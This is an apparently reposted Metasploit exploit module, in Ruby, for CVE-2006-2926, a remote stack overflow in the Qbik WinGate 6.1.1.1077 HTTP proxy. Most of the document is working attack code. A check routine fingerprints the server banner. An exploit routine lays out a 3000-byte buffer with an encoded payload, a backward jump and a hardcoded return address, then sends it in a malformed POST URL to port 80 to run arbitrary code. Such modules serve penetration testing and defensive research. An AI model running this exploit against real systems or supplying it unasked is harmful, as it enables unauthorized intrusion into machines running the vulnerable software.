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Qbik WinGate WWW Proxy Server URL Processing Overflow

Qbik WinGate WWW Proxy Server URL Processing Overflow
Posted Feb 19, 2010
Authored by patrick | Site metasploit.com

This Metasploit module exploits a stack overflow in Qbik WinGate version 6.1.1.1077 and earlier. By sending malformed HTTP POST URL to the HTTP proxy service on port 80, a remote attacker could overflow a buffer and execute arbitrary code.

tags | exploit, remote, web, overflow, arbitrary
advisories | CVE-2006-2926
SHA-256 | 894f43ed9ebd305fbfb850e6148306dc62adfbc8788b34ecf2cdb98d799e4036

Qbik WinGate WWW Proxy Server URL Processing Overflow

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##
# $Id: qbik_wingate_wwwproxy.rb 8547 2010-02-18 15:58:26Z patrickw $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking

include Msf::Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
'Name' => 'Qbik WinGate WWW Proxy Server URL Processing Overflow',
'Description' => %q{
This module exploits a stack overflow in Qbik WinGate version
6.1.1.1077 and earlier. By sending malformed HTTP POST URL to the
HTTP proxy service on port 80, a remote attacker could overflow
a buffer and execute arbitrary code.
},
'Author' => 'patrick',
'License' => MSF_LICENSE,
'Version' => '$Revision: 8547 $',
'References' =>
[
[ 'CVE', '2006-2926' ],
[ 'OSVDB', '26214' ],
[ 'BID', '18312' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00\x0a\x0d\x20+&=%\/\\\#;\"\':<>?",
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'WinGate 6.1.1.1077', { 'Ret' => 0x01991932 } ], # call esi
],
'Privileged' => true,
'DisclosureDate' => 'Jun 07 2006',
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(80)
], self.class)
end

def check
connect
sock.put("GET /\r\n\r\n") # Malformed request to get proxy info
banner = sock.get_once
if (banner =~ /Server:\sWinGate\s6.1.1\s\(Build 1077\)/)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end

def exploit
connect

print_status("Trying target #{target.name}...")

buff = Rex::Text.rand_text_alphanumeric(3000)
buff[1200, 1000] = payload.encoded # jmp here
buff[2200, 5] = Rex::Arch::X86.jmp(-1005) # esi
buff[2284, 4] = [target['Ret']].pack('V') #eip

sploit = "POST http://#{buff}/ HTTP/1.0\r\n\r\n"

sock.put(sploit)
sock.get_once(-1, 3)

handler
disconnect
end

end
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